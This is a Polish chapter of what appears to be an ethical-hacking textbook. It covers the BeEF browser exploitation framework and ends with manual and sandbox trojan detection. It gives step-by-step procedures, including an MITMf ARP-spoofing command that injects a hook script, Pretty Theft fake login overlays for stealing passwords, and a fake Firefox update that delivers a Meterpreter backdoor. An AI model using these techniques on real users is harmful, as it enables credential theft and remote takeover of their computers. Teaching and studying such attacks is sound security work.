
Atak i wykrywanie trojanów za pomocą BeEF 

Poznamy narzędzie BeEF i dowiemy się, jak je przechwycić za pomocą frameworka typu man-in-the-

middle (MITMf). Następnie dowiemy się, jak ukraść nazwę użytkownika i hasło, przekierowując 

użytkownika na fikcyjną stronę internetową, gdzie przechwycone zostaną wszystkie jego dane 

uwierzytelniające. Następnie uzyskamy dostęp do sekcji Meterpreter za pomocą BeEF. Na koniec 

dowiemy się, jak wykrywać trojany zarówno ręcznie, jak i za pomocą sandboxa. W tym rozdziale 

omówimy następujące tematy: 

Narzędzie BeEF 

BeEF – przechwycenie za pomocą MITMf 

BeEF – podstawowe polecenia 

BeEF – ładna kradzież 

BeEF – Meterpreter 1 

Ręczne wykrywanie trojanów 

Wykrywanie trojanów za pomocą sandboxa 

Narzędzie BeEF 

W tym i kolejnych częściach przyjrzymy się narzędziu o nazwie BeEF. Platforma BeEF (Browser 

Exploitation Framework) pozwala nam uruchamiać szereg poleceń i ataków na przechwycony cel. Cel 

z hakiem to w zasadzie cel, który wykonuje adres URL lub kod JavaScript dostarczony nam przez BeEF. 

Po zhakowaniu celu będziemy mogli uruchamiać wszystkie polecenia, na które pozwala BeEF. Pierwszą 

rzeczą, którą omówimy, jest główny interfejs BeEF, sposób jego uruchomienia oraz bardzo prosty 

sposób podłączenia celu do BeEF. Aby uruchomić BeEF, wystarczy kliknąć ikonę BeEF na pulpicie. 

Automatycznie zostanie uruchomiony adres URL , który 

zawiera interfejs przeglądarki lub interfejs internetowy narzędzia. Zostaniesz poproszony o podanie 

nazwy użytkownika i hasła. Nazwa użytkownika to beef, a hasło to również beef. Po zalogowaniu, po 

lewej stronie, w panelu Hooked Browsers, zobaczymy przeglądarki, do których mamy dostęp: 



 

Przeglądarki online to przeglądarki, do których obecnie mamy dostęp, a przeglądarki offline to te, do 

których mieliśmy dostęp. Obecnie nie możemy uruchamiać żadnych poleceń w przeglądarkach; 

mieliśmy do nich dostęp wcześniej, ale obecnie nie możemy nic na nich zrobić. Interesują nas 

przeglądarki online. Istnieje wiele metod podłączania przeglądarek lub obiektów docelowych do BeEF. 

Jeśli po prostu wrócimy do okna terminala, zobaczymy, że wyświetla ono adres URL skryptu, który 

należy wykonać w przeglądarce docelowej, aby została ona podłączona do BeEF: 

 

Jeśli znajdziemy lub wymyślimy sposób na wykonanie poprzedniego fragmentu adresu URL na 

komputerze docelowym, to ten komputer docelowy zostanie podłączony do BeEF, a my będziemy 

mogli uruchamiać na nim wszystkie typy poleceń. Możemy użyć metod, które już poznaliśmy, możemy 

użyć DNS-soofing do podszywania się pod dowolne żądanie do dowolnej strony lub do strony 

zawierającej hook, lub możemy zastosować ARP poisoning i wstrzyknąć adres URL hooka do dowolnej 

strony przeglądanej przez komputer docelowy. Możemy użyć exploita XSS. Możemy też stworzyć 

stronę i zmusić nasz cel do otwarcia tej strony, strony hooka. Stworzymy stronę hooka i zobaczymy, 

jak cel zostanie podpięty. Strona hooka, którą zamierzamy utworzyć, może być użyta w socjotechnice 

i DNS-spoofingu. Strona, którą zamierzamy utworzyć, jest bardzo prosta. Możemy użyć dowolnej 

strony i umieścić adres URL hooka na jej końcu. Możemy przejść na dowolną witrynę, skopiować jej 

kod źródłowy, a następnie umieścić pod nim adres URL hooka. Zrobimy coś prostszego: po prostu 

umieścimy go w naszym katalogu /var/www/html – to tam przechowywane są pliki serwera WWW. 

Zmodyfikujemy nasz plik index.htm;, usuniemy wszystko i wstawimy adres URL hooka, który został nam 

przekazany przez narzędzie. Musimy również zmodyfikować adres IP i umieścić adres IP atakującego 

komputera. Zatem adres IP komputera Kali i nasz adres IP to 10.0.2.15: 

 



Teraz możemy działać, a każda osoba przeglądająca stronę  index.html zostanie połączona z 

przeglądarką BeEF lub frameworkiem BeEF. Musimy również uruchomić serwer WWW, Apache. Aby 

go uruchomić, uruchamiamy polecenie   . Serwer Apache powinien teraz 

działać. Ponownie możemy użyć socjotechniki lub podszywania się pod DNS, aby zmusić osobę 

docelową do przejścia na stronę index.html. Możemy przesłać tę samą stronę na zdalny serwer i 

uzyskać do niej dostęp albo wymyślić inny sposób, jaki nam odpowiada. Teraz wystarczy, że 

przejdziemy do niego za pomocą przeglądarki systemu Windows, wpiszemy adres IP 10.0.2.15 i 

naciśniemy Enter — powinna otworzyć się pusta strona: 

 

Nasza strona tak naprawdę nic nie mówi, ale jeśli przejdziemy do przeglądarki BeEF, zobaczymy, że w 

przeglądarkach online pojawił się nowy adres IP. Jeśli klikniemy na ten adres IP, zobaczymy 

podstawowe informacje na temat komputera docelowego: 

 

Widzimy, że cel korzysta z przeglądarki Mozilla/5.0 z systemem Windows NT 10.0, czyli Firefox/61.0. 

Możemy również zobaczyć zainstalowane wtyczki przeglądarki. Są one bardzo przydatne, jeśli chcemy 

uruchomić exploity przepełnienia bufora na komputerze docelowym. Możemy również zobaczyć adres 

URL strony, z której udało nam się uzyskać hak, a także informacje o plikach cookie na dole, a także 

szczegóły dotyczące daty i rozmiaru okna. Karta „Polecenia” będzie przez nas najczęściej używana. 

Poniższy zrzut ekranu pokazuje dużą liczbę poleceń i ataków na komputer docelowy, którymi zajmiemy 

się później: 



 

Karta Rider umożliwi nam przeglądanie i tworzenie żądań HTTP: 

 

Karta XssRays pokaże nam, czy docelowa strona internetowa ma jakiekolwiek luki w zabezpieczeniach 

XSS: 

 

Karta Ipec to wiersz poleceń BeEF, który umożliwia uruchamianie poleceń BeEF z wiersza poleceń 

zamiast korzystania z interfejsu: 

 

Karta Sieć umożliwia nam przegląd bieżącej sieci: 



 

Gdy już wszystko zrobimy, możemy kliknąć na link Wyloguj, co spowoduje wylogowanie z narzędzia. 

To tylko podstawowy przegląd BeEF, głównych poleceń i interfejsu, a także naprawdę prosty sposób 

podłączania celu. Ponownie, możemy zmusić użytkowników do uruchomienia strony z hakiem, 

stosując socjotechnikę, taką jak usługa skracania adresów URL, aby link był krótszy i wyglądał bardziej 

atrakcyjnie, lub możemy zastosować podszywanie się pod DNS i sprawić, by użytkownik docelowy 

przekierował na naszą stronę internetową, na której działa framework BeEF. 

BeEF – podłączanie za pomocą MITMf 

Inną metodą podłączania celów do BeEF jest wstrzyknięcie kodu JavaScript, który BeEF udostępnia, za 

pomocą MITMf. Jeśli zatem cel i atakujący znajdują się w tej samej sieci i jeśli możemy stać się 

pośrednikiem (lub jeśli uda nam się nim zostać, ponieważ mieliśmy fałszywy punkt dostępu lub 

jesteśmy fizycznie połączeni z komputerem docelowym, niezależnie od sposobu, w jaki staliśmy się 

pośrednikiem), możemy wstrzyknąć kod hakujący do przeglądarki, do stron (stron HTTP), które 

przegląda osoba docelowa, a zostanie ona podpięta do BeEF bez klikania w cokolwiek i bez 

konieczności wysyłania jej czegokolwiek. Użyjemy dokładnie tego samego linku na stronie, którego 

używaliśmy wcześniej, czyli , czyli skryptu. Skopiujemy go, a 

następnie wkleimy do naszej wtyczki  --inject za pomocą MITMf. Polecenie będzie brzmiało mitmf, a 

następnie użyjemy opcji --inject i --js -url, i podajemy adres URL haka. Polecenie wygląda następująco: 

mitmf --arp --spoof --gateway 10.0.2.1 --target 10.0.2.5 -i eth0 --inject --js-url 

http://10.0.2.15:3000/hook.js 

To to samo polecenie, którego zawsze używamy: mitmf. Wykonujemy podszywanie się pod ARP, 

podajemy bramie 10.0.2.1, celowi 10.0.2.5, interfejsowi eth0 i używamy wtyczki --inject oraz opcji --js-

url, adres URL dla JavaScript, adres URL, pod którym przechowywany jest hak, w naszym przykładzie 

umieszczony w . Po uruchomieniu polecenia, przeglądaj sieć 



normalnie lub po prostu przejdź na stronę BBC. Teraz, jeśli wrócimy do naszego BeEF, zobaczymy, że 

mamy cel, a tym celem jest urządzenie Windows: 

 

Kod został automatycznie wstrzyknięty do witryny BBC, więc użytkownik nie musiał niczego odwiedzać 

ani klikać w adres URL. Kod zostanie wstrzyknięty do każdej odwiedzanej przez niego strony 

internetowej i zostanie on wciągnięty. Użytkownik zostanie wciągnięty natychmiast po wejściu na 

dowolną stronę. Jeśli przejdziemy do źródła strony i spojrzymy na dół, zobaczymy, że mamy skrypt 

hooka na dole źródła strony – dlatego został wykonany: 

 

Właśnie dlatego mogliśmy umieścić skrypt pod dowolną stroną. Jeśli tworzymy fałszywe strony, 

możemy po prostu skopiować kod źródłowy dowolnej strony i umieścić skrypt na dole. Następnie 

zostanie on wykonany na stronie docelowej i będziemy mogli podłączyć nasz cel do przeglądarki. 

BeEF – podstawowe polecenia 

Teraz, gdy mamy już podłączoną przeglądarkę lub cel, możemy przejść do zakładki „Polecenia” i 

rozpocząć wykonywanie poleceń na stronie docelowej: 

 

Możemy użyć opcji Szukaj, aby wyszukać określone polecenie, lub skorzystać z kategorii i wyszukać 

polecenia odpowiednie do tego, co chcemy wykonać na komputerze docelowym. Niektóre polecenia 

służą do gromadzenia informacji, inne są socjotechniczne, a niektóre nawet dadzą nam pełną kontrolę 

nad komputerem docelowym. Poleceń jest tak dużo, że nie będziemy w stanie omówić ich wszystkich, 



ale przyjrzymy się niektórym z najważniejszych, aby wiedzieć, jak je testować i uruchamiać. Po 

kliknięciu opcji Przeglądarka (53) zobaczymy polecenia związane z atakami, które możemy 

przeprowadzić w przeglądarce: 

 

Możemy zobaczyć ataki, które pozwolą nam wykonać zrzut ekranu, możemy spróbować włączyć 

kamerę internetową i sprawdzić, czy działa, a następnie otworzyć kamerę internetową na celu. Klikając 

na Exploity (78), zobaczymy szereg exploitów, które możemy uruchomić: 



 

Wystarczy kliknąć na moduł, który chcemy uruchomić i kliknąć przycisk Wykonaj: 

 



Istnieją pewne moduły wymagające skonfigurowania pewnych opcji. Poniżej znajdziesz ich przykłady. 

W opcji Inżynieria społeczna (21) możemy wyświetlać fałszywe aktualizacje, fałszywe paski 

powiadomień itp.: 

 

Oto przykład bardzo prostego polecenia. Uruchomimy alert, aby wyświetlić pole alertu. Używamy więc 

opcji wyszukiwania do filtrowania i widzimy, że spowoduje to utworzenie okna dialogowego alertu z 

komunikatem : 

 



Możemy zmodyfikować alert i wpisać cokolwiek chcemy, na przykład zmienić tekst alertu na test, a 

następnie po kliknięciu przycisku Wykonaj w przeglądarce docelowej zobaczymy komunikat 

informujący, że test został wstrzyknięty do przeglądarki docelowej, jak pokazano na poniższym zrzucie 

ekranu: 

 

Kolejną interesującą rzeczą, którą możemy zrobić, jest surowy JavaScript. Pozwoli nam to na wykonanie 

dowolnego kodu JavaScript. Ponownie przeszukujemy Google w poszukiwaniu przydatnego kodu 

JavaScript, takiego jak keylogger, lub możemy napisać własny skrypt, jeśli znamy JavaScript, a wszystko, 

co napiszemy, zostanie wykonane na komputerze docelowym. Ponownie, uruchomimy alert, który 

zwróci , i klikniemy przycisk Wykonaj: 

 

Wyświetli się okno dialogowe z komunikatem BeEF Raw JavaScript, tak jak w poprzednim przykładzie: 

 



Teraz sprawdźmy, czy uda nam się zrobić zrzut ekranu komputera docelowego. W tym celu użyjemy 

wtyczki o nazwie Spyder Eye. Kliknij wtyczkę, naciśnij „Wykonaj”, odczekaj chwilę, a następnie kliknij 

polecenie 4 w zakładce „Historia wyników modułu”: 

 

Na powyższym obrazku widzimy zrzut ekranu tego, co widzi docelowa osoba. Kolejną naprawdę dobrą 

wtyczką jest wtyczka Redirect Browser. Pozwala ona na przekierowanie przeglądarki na dowolną 

stronę internetową. Może to być bardzo przydatne, ponieważ możemy jej użyć do przekierowania 

użytkownika docelowego i poinformowania go o konieczności pobrania aktualizacji. Zamiast 

aktualizacji, dajemy mu furtkę. Możemy przekierować go na fałszywą stronę logowania do Facebooka 

– z wtyczką Redirect Browser możemy zrobić wszystko, co chcemy. Możemy ustawić stronę 

internetową, na którą ma zostać przekierowany użytkownik docelowy. W tym przykładzie 

przekierujemy je do , a po kliknięciu Wykonaj cel zostanie przekierowany 

do  lub do dowolnego konkretnego łącza wymienionego w polu tekstowym 

Adres URL przekierowania: 



 

Oto kilka podstawowych modułów, z których możemy korzystać. 

BeEF - Pretty Theft 

Przyjrzyjmy się teraz wtyczce do socjotechniki, która pozwoli nam kraść nazwy użytkowników i hasła z 

kont. Zasadniczo przyciemnia ekran i informuje użytkownika, że został wylogowany z sesji i musi się 

ponownie zalogować, aby się uwierzytelnić. Topozwoli nam ominąć HTTPS, HSTS i wszystkie 

zabezpieczenia używane przez stronę konta docelowego. Na przykład, jeśli próbujemy uzyskać nazwy 

użytkowników i hasła do Facebooka, będziemy mogli ominąć wszystkie zabezpieczenia używane przez 

Facebooka, ponieważ wyświetlamy po prostu fałszywą stronę na Facebooku, więc użytkownik nigdy 

nie nawiąże kontaktu z Facebookiem. Kliknijmy Pretty Theft, co otworzy kartę: 



 

Na poprzednim zrzucie ekranu możemy kliknąć konto, które chcemy przejąć. Załóżmy, że wybieramy 

Facebooka. Możemy wybrać, jak będzie wyglądało podświetlenie, więc zostawiamy je jako szare, a 

następnie klikamy „Wykonaj”. Po przejściu do naszego celu widzimy, że otrzymuje on informację o 

wylogowaniu z sesji i musi zalogować się, podając swoją nazwę użytkownika i hasło: 

 

Wpisz nazwę użytkownika zaid, a następnie hasło 12345 i kliknij Zaloguj. Jeśli wrócimy do terminala, 

zobaczymy, że otrzymaliśmy nazwę użytkownika zaid i hasło 12345: 

 

Możemy tego użyć do przejęcia wielu kont. Spójrzmy na inny przykład. Jeśli chodzi o YouTube, 

nadajemy mu polecenie Wykonaj: 



 

Na ekranie docelowym widzimy logo YouTube i możemy spróbować się zalogować. Wpisz nazwę 

użytkownika i hasło, kliknij Zaloguj się, a dane uwierzytelniające zostaną przechwycone: 

 

To jest więc naprawdę dobry sposób na uzyskanie dostępu do kont, ponieważ nawet jeśli użytkownik 

nie zamierza logować się na konto, które próbujemy ukraść, w pewnym sensie zmusimy go do podania 

nazwy użytkownika i hasła, aby mógł się ponownie zalogować na swoje konto, a wtedy będziemy mogli 

przechwycić nazwę użytkownika i hasło. 

BeEF - Meterpreter 1 

W tej sekcji zobaczymy, jak uzyskać pełną kontrolę i nawiązać sesję Meterpretera z komputera 

docelowego. Przejdźmy więc ponownie do zakładki Polecenia, a następnie do sekcji Inżynieria 

społeczna. Istnieje wiele sposobów na uzyskanie odwróconej powłoki. Teraz wszystko zależy od tego, 

jak chcemy przeprowadzić atak socjotechniczny. Użyjemy paska powiadomień, Fałszywego paska 

powiadomień (Firefox) – wybieramy Firefoksa, ponieważ nasz cel korzysta z przeglądarki Firefox: 



 

Zasadniczo wyświetli pasek powiadomień informujący użytkownika o nowej aktualizacji lub wtyczce, 

którą należy zainstalować. Po zainstalowaniu wtyczki, użytkownik zainstaluje tzw. backdoor, a my 

uzyskamy pełny dostęp do jego komputera. Zaimplementujemy to, używając tego samego backdoora, 

który stworzyliśmy i którego używamy . Zapisaliśmy backdoora na naszym serwerze WWW w 

/var/www/html i nazwaliśmy go update.exe, ale to ten sam backdoor, ten sam Meterpreter 

odwrotnego HTTP, którego używaliśmy wcześniej. Podaj pełny adres backdoora w polu tekstowym 

„Adres URL wtyczki”, który brzmi , zmień tekst powiadomienia na 

Critical update  for Firefox, click here, to install, jak pokazano na poniższym zrzucie ekranu, i naciśnij 

przycisk Wykonaj: 

 

Na urządzeniu docelowym widzimy komunikat informujący o dostępności nowej aktualizacji 

przeglądarki Firefox: 



 

Gdy cel pobierze i zainstaluje aktualizację, na jego komputerze zostanie pobrany backdoor. Gdy 

spróbuje uruchomić ten backdoor, aby zainstalować aktualizację, uruchomi backdoor, który da nam 

pełny dostęp do jego komputera. Zanim uruchomimy backdoora, musimy nasłuchiwać na porcie, 

dokładnie tak jak poprzednio. Otwórz terminal mfsconsole i uruchom show options. Użyj multi-

handlera Metasploit, tak jak robiliśmy , aby nasłuchiwać na portach. Użyj 

, mamy adres IP i port. Teraz po prostu uruchamiamy  exploit 

nasłuchujemy połączeń. Uruchommy pobraną aktualizację. Jeśli przejdziemy do celu, przekonamy się, 

że mamy nad nim pełną kontrolę za pomocą sesji Meterpretera. 

Ponownie, to tylko przykład jednego ze sposobów uzyskania pełnej kontroli nad komputerem 

docelowym. Istnieje wiele sposobów, aby to zrobić za pomocą BeEF, a także wiele ataków 

socjotechnicznych, które możemy przeprowadzić, aby uzyskać pełny dostęp do komputera 

docelowego. Zdecydowanie zaleca się zapoznanie się z wtyczkami, eksperymentowanie z nimi i 

sprawdzenie, jakie ataki można przeprowadzić. 

Ręczne wykrywanie trojanów 

Trojany, które do tej pory stworzyliśmy, są niesamowite; potrafią ominąć programy antywirusowe – 

uruchamiają dwa fragmenty kodu. Pierwszy działa w tle, uruchamiając nasz własny kod i wykonując 

żądane przez nas czynności, takie jak otwarcie portu lub połączenie się z nami i udostępnienie powłoki, 

a drugi uruchamia inny fragment kodu, oczekiwany przez użytkownika. Może on wyświetlić obraz, 

odtworzyć plik MP3 lub PDF. Ta funkcjonalność bardzo utrudnia wykrycie, dlatego najlepiej sprawdzić 

właściwości pliku i upewnić się, że jest tym, za co się podaje. Na poniższym zrzucie ekranu mamy obraz 

Packt i możemy zobaczyć, że jest to .jpg, więc wygląda jak obrazek, ma ikonę, a jeśli go uruchomimy, 

otrzymamy obrazek: 

 

Kliknij prawym przyciskiem myszy i przejdź do Właściwości. Po przejściu do Właściwości zobaczymy, że 

to aplikacja, a nie obraz: 



 

To samo dotyczy plików PDF i MP3; powinien wyświetlać się napis MP3, jeśli to plik MP3, PDF, jeśli to 

PDF, i .jpg, jeśli to plik JPG. W tym przypadku jednak informuje nas, że jest to plik wykonywalny. W 

szczegółach zobaczymy, że jest to aplikacja, a nie obraz – gdyby to był obraz, komunikat wskazywałby 

na obraz: 



 

Dzięki temu będziemy wiedzieć, że jesteśmy oszukiwani. Możemy również zmienić nazwę pliku i 

będziemy mogli ją zresetować; jeśli zmienimy nazwę pliku na inną, zobaczymy, że jest to plik .exe, a nie 

.jpg. Jeśli zmienimy ją na test, zobaczymy, że nazwa została zmieniona na test.exe: 

 

Załóżmy teraz, że ten trojan został połączony z plikiem wykonywalnym. Jeśli go uruchomimy, 

spodziewamy się uzyskać .exe i aplikację. Załóżmy, że jest on połączony z oprogramowaniem Download 

Accelerator Plus, a nie z obrazkiem. To zadanie będzie trudniejsze, ponieważ i tak oczekujemy aplikacji. 

W przypadku obrazka i pliku PDF system Windows poinformuje nas, że próbujemy uruchomić plik 

wykonywalny, ale jeśli oczekujemy pliku wykonywalnego, to i tak go uruchomimy, na przykład za 

pomocą DAP. Odtworzy on poszukiwany plik wykonywalny, a plik wykonywalny wyśle sesję odwrotną 

do Kali. Przejdź do narzędzia o nazwie Monitor Zasobów, a następnie do zakładki Sieć. Tam będziemy 

mogli zobaczyć wszystkie otwarte porty na naszym komputerze: 



 

Widzimy, że mamy port 8080 i łączymy się z adresem IP 10.0.2.15. Oczywiście port 8080 nie jest 

szczególnie podejrzany, nawet gdyby znajdował się na porcie 80, nie wyglądałby podejrzanie, a 

ponadto pochodzi z procesu o nazwie browser.exe, który również nie jest szczególnie podejrzany. 

Podejrzana jest część zdalna; uzyskuje dostęp do adresu 10.0.2.15, którego nie znamy. Jeśli to strona 

internetowa, wpisanie adresu IP w przeglądarce powinno przekierować nas do strony internetowej lub 

serwera tej strony. W większości przypadków, jeśli jest to komputer hakera, nie przekieruje nas on do 

strony internetowej, a wtedy będziemy wiedzieć, że ta osoba jest atakującym. Aby zweryfikować atak, 

możemy użyć narzędzia o nazwie Reverse DNS Lookup. Podaje ono adres IP i informuje, do której 

witryny lub domeny należy dany adres IP. Przyjrzyjmy się przykładowi na Facebooku. Załóżmy, że w 

Menedżerze Zasobów zauważyliśmy podejrzanie wyglądający adres IP. W rzeczywistości uzyskamy 

prawidłowy adres IP dla Facebooka, wykonując ping: 

 

Widzieliśmy adres IP 157.240.7.38; na porcie 80 istnieje połączenie prowadzące do tego adresu IP. 

Skopiuj ten adres IP i wyszukaj go w Google pod hasłem Reverse DNS, otwórz pierwszą stronę, wklej 

adres IP i kliknij „Wyszukiwanie odwrotne”. Możemy zobaczyć adres IP, który widzieliśmy w naszych 

zasobach: 



 

Jeśli chodzi o porządną stronę internetową, nie ma powodu do obaw; jeśli wygląda podejrzanie, 

będziemy wiedzieć, że jest to adres podejrzanej osoby. Jak widać na poprzednim zrzucie ekranu, 

wiadomość trafia na Facebooka, a my przeglądamy Facebooka – to normalne, korzystamy z Facebooka, 

więc istnieje między nami połączenie z Facebookiem. 

Wykrywanie trojanów za pomocą piaskownicy 

Teraz przyjrzymy się innemu sposobowi wykrywania złośliwych plików, czyli piaskownicy. Piaskownica 

to w zasadzie miejsce, w którym nasz plik zostanie uruchomiony i przeanalizowany. Sprawdzi, czy 

zostaną otwarte jakiekolwiek porty, czy będzie modyfikował wpisy w rejestrze – a w zasadzie, czy 

będzie wykonywał jakieś podejrzane czynności. To nie jest program antywirusowy. Nasz trojan może 

przejść przez programy antywirusowe, nasz trojan przeszedł przez wszystkie programy antywirusowe, 

ale aplikacje piaskownicy, czyli środowiska piaskownicy, uruchomią go w kontrolowanym środowisku, 

sprawdzą, czy wykonuje coś podejrzanego i wygenerują raport. Możemy wyszukać piaskownicę w 

Google online, a przykładem jest strona internetowa o nazwie Hybrid Analysis. Korzystanie z niej jest 

bardzo proste: wystarczy przejść do adresu URL, wybrać plik i przesłać go. Raport widać na poniższym 

zrzucie ekranu; analiza pliku i wygenerowanie raportu może zająć trochę czasu: 

 



Po otrzymaniu raportu zobaczymy podstawowe informacje; zobaczymy, że wykryto złośliwe wskaźniki. 

Ukrywają je przed nami i musimy skorzystać z pełnej wersji, aby je zobaczyć, ale tak naprawdę nie 

musimy ich widzieć; jeśli przeczytamy cały raport, będziemy wiedzieć, że ten plik jest złośliwy i wyrządzi 

szkody naszemu komputerowi. Widzimy, że plik pomija pola błędów, więc nie wyświetla pól błędów 

 

Modyfikuje również rejestr, a jego parametry możemy zobaczyć na poniższym zrzucie ekranu: 

 

Na poprzednim zrzucie ekranu widać, że program edytuje ustawienia internetowe i połączenia. 

Widzimy również, że korzysta z usługi Windows Sockets, czyli WinSock2, i próbuje nawiązać połączenia. 

Widzimy również, że edytuje adres procesu: 

 

Przewijając w dół, zobaczymy jeden z najważniejszych wskaźników. Więcej informacji na poniższym 

zrzucie ekranu Analizy sieci. Próbuje połączyć się z adresem na porcie hosta 8080: 

 



Możemy przejść do adresu IP 10.20.14.203 i wykonać odwrotne wyszukiwanie DNS, aby sprawdzić, czy 

adres IP jest powiązany ze stroną internetową. Ponadto, gdy przesyłamy ładunek, nigdy nie zostanie 

on uruchomiony na naszym komputerze, lecz na ich serwerze w środowisku sandbox. Oczywiście, w 

przypadku metody, którą omówiliśmy, zawsze powinniśmy używać jej w środowisku VirtualBox 

podczas uruchamiania w systemie Windows. Zawsze wykonuj ją na maszynie wirtualnej; nie wykonuj 

jej na naszej maszynie głównej. Możemy też przesłać ją do środowiska sandbox, gdzie zostanie ona 

przeanalizowana, a następnie odczytamy raport. 

Podsumowanie 

W tym rozdziale przeanalizowaliśmy narzędzie o nazwie BeEF i podłączyliśmy je za pomocą MITMf. 

Następnie, przekierowując użytkownika, przechwyciliśmy jego dane uwierzytelniające, informując, że 

został wylogowany i prosząc o ponowne podanie nazwy użytkownika i hasła. Na koniec uzyskaliśmy 

dostęp do sesji Meterpretera i dowiedzieliśmy się, jak wykrywać trojany zarówno ręcznie, jak i za 

pomocą środowiska testowego. W kolejnym rozdziale przyjrzymy się przeprowadzaniu ataków na sieć 

zewnętrzną. 

 


